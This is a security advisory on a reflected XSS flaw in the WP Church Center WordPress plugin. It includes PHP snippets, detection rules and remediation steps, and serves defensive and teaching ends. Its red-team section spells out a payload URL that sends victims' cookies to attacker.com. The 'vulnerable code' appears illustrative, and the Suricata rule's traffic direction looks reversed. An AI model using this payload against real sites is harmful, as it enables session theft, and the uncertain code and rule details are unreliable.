CVE-2025-25157

Executive Summary

CVE-2025-25157 is a reflected Cross-Site Scripting (XSS) vulnerability in the WP Church Center WordPress plugin, affecting versions up to and including 1.3.3. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. As a WordPress plugin vulnerability, it is critical to update the plugin immediately if a patch becomes available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor the plugin's page for updates and verify the integrity of any downloaded packages. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is High due to the low complexity and no privileges required, though user interaction is needed.

Deep Dive & Mechanics

The vulnerability exists in the WP Church Center plugin's handling of HTTP GET parameters. When a user visits a specially crafted URL, the plugin reflects the malicious input without proper sanitization or encoding. For example, a parameter like ?page=wp-church-center&action=<script>alert(1)</script> would be echoed back in the HTML response, executing the script in the user's browser.

The root cause is the use of echo $_GET['param'] or similar functions without applying esc_html() or wp_kses() WordPress sanitization functions. This allows an attacker to bypass any client-side filtering and execute arbitrary JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.3.3):

<?php
$action = $_GET['action'];
echo "<div class='notice'>Action: " . $action . "</div>";
?>

Patched Code (hypothetical fix):

<?php
$action = isset($_GET['action']) ? sanitize_text_field($_GET['action']) : '';
echo "<div class='notice'>Action: " . esc_html($action) . "</div>";
?>

The patched version uses sanitize_text_field() to strip malicious content and esc_html() to encode output, preventing XSS.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a WordPress instance with WP Church Center plugin version 1.3.3.
2. Craft Payload: Create a URL with a malicious script parameter:

   http://target/wp-admin/admin.php?page=wp-church-center&action=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver: Send the link to a victim via email or social engineering.
4. Execute: When the victim clicks the link, the script executes, exfiltrating cookies to the attacker's server.

Blue Team

1. Detection: Monitor web server logs for unusual GET parameters containing <script> or onerror patterns.
2. Prevention: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Response: If an attack is detected, isolate the affected user session and rotate credentials.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin.php with page=wp-church-center and suspicious action parameters.
• Logs: Web server logs showing action=<script> or action=alert in the query string.
• Endpoint: Presence of unexpected JavaScript in the response body from the plugin's admin page.

Detection Engineering

YARA Rule

rule CVE_2025_25157_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Church Center plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25157"
    strings:
        $xss1 = /action=<script[^>]*>/i
        $xss2 = /action=.*onerror/i
        $xss3 = /action=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against WP Church Center
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS in WP Church Center plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page=wp-church-center'
        cs-uri-query|re: '(action=<script|action=.*onerror|action=.*alert\()'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25157 Reflected XSS WP Church Center"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=wp-church-center"; http_uri; pcre:"/(action=<script|action=.*onerror|action=.*alert\()/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the WP Church Center plugin until a patch is available.
2. Short-term: Implement a WAF rule to block reflected XSS patterns targeting the plugin.
3. Long-term: Apply input validation and output encoding using WordPress functions (esc_html(), sanitize_text_field()).
4. Monitor: Regularly check for plugin updates and apply them promptly.

Valters IT
Securing Digital Frontiers